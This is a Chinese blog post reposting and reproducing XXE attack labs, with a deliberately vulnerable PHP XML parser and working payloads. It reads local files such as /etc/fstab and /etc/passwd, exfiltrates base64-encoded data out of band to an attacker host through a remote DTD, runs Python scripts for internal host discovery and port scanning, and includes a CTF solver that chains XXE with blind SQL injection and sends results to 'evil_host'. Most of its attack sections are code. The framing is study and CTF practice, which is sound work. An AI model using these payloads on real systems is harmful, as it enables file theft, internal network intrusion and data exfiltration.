对于XXE漏洞的学习与实验复现记录(转载)

前言

突然想研究下XXE漏洞,没有为什么,这篇作者写的挺好的,推荐可以同样学习一波。

正文

知识点

https://xz.aliyun.com/t/3357#toc-5
http://www.runoob.com/xml/xml-tutorial.html

实验

实验来源,我只是复现学习一波

https://xz.aliyun.com/t/3357#toc-11

实验场所
:Ubuntu 16.04.3 LTS nginx+php+mysql

实验一:有回显读本地敏感文件(Normal XXE)
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
本地服务器上放上解析 XML 的 php 代码:
xml.php

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

我们在相同目录下放一个flag.php内容随意

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///var/www/html/test/flag.php"> ]>
<creds>&goodies;</creds>

但是因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,但是假如换成以下内容呢?

1
2
3
4
5
6
7
8
9
10
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/vda1 during installation
UUID=e2048966-750b-4795-a9a2-7b477d6681bf / ext4 errors=remount-ro 0 1
/dev/fd0 /media/floppy0 auto rw,user,noauto,exec,utf8 0 0

/etc/fstab 文件所表达的意义

https://blog.51cto.com/lspgyy/1297432

再次读取

可以看到,不但没有读到我们想要的文件,而且还给我们报了一堆错,怎么办?这个时候就要祭出我们的另一个神器了——CDATA ,简单的介绍如下(引用自转载大佬的一片介绍 XML 的博客):

1
2
3
4
5
6
7
8
9
10
11
12
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

<![CDATA[

XXXXXXXXXXXXXXXXX

]]>

可以输入任意字符除了 ]]> 不能嵌套

用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:

首先,找到问题出现的地方,问题出现在

1
2
3
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 “<![CDATA[“和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
那么要想在 DTD
中拼接,我们知道我们只有一种选择,就是使用 参数实体
payload:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>


成功读取

这里dtd引用时,需要查看下php.ini文件
allow_url_fopen必须时on,

因为这个off我试了半天不行

新的问题出现
但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带

实验二:无回显读取本地敏感文件(Blind OOB XXE)
xml.php

1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

(因为实体的值中不能有 %, 所以将其转成html实体编码 %否则这里会有个错误)

修改后

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
新的思考:
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用:
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
如图所示:

PHP在安装扩展以后还能支持的协议:
如图所示:

实验三:HTTP 内网主机探测
我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了
下面是一个探测脚本的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue


实验四:HTTP 内网主机端口扫描
找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测
比如我们传入:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

返回结果:

1
2
3
4
5
javax.xml.bind.UnmarshalException  
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused

实验五:内网盲注(CTF)
2018 强网杯 有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下:

首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞,我们输入 xml 以及 dtd 会出现报错
如图所示:


既然如此,那么我们是不是能读取该服务器上面的文件,我们先读配置文件(这个点是 Blind XXE ,必须使用参数实体,外部引用 DTD )

/var/www/52dandan.cc/public_html/config.php

拿到第一部分 flag

1
2
3
4
5
6
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>

注意:
这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php
过滤器的一个压缩的方法
压缩:echo file_get_contents(“php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”);
解压:echo file_get_contents(“php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

然后我们考虑内网有没有东西,我们读取

/proc/net/arp
/etc/host

找到内网的另一台服务器的 ip 地址 192.168.223.18

拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了,然后我们发现开放了 80 端口,然后我们再进行目录扫描,找到一个 test.php ,根据提示,这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD 中包含的,现在我们需要改变我们的请求,那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件,于是我们的脚本就要挂在我们的 VPS 上,一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求,脚本就像下面这个样子
示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd;]>
"""
}

for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result

后记

这篇真的学习到很多

参考

https://xz.aliyun.com/t/3357#toc-5
https://xz.aliyun.com/t/122

本文标题:对于XXE漏洞的学习与实验复现记录(转载)

文章作者:MuseLJH

发布时间:2019年02月26日 - 22:37

最后更新:2019年02月26日 - 22:43

原始链接:https://museljh.github.io/2019/02/26/对于XXE漏洞的学习与实验复现记录(转载)/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------END-------------
0%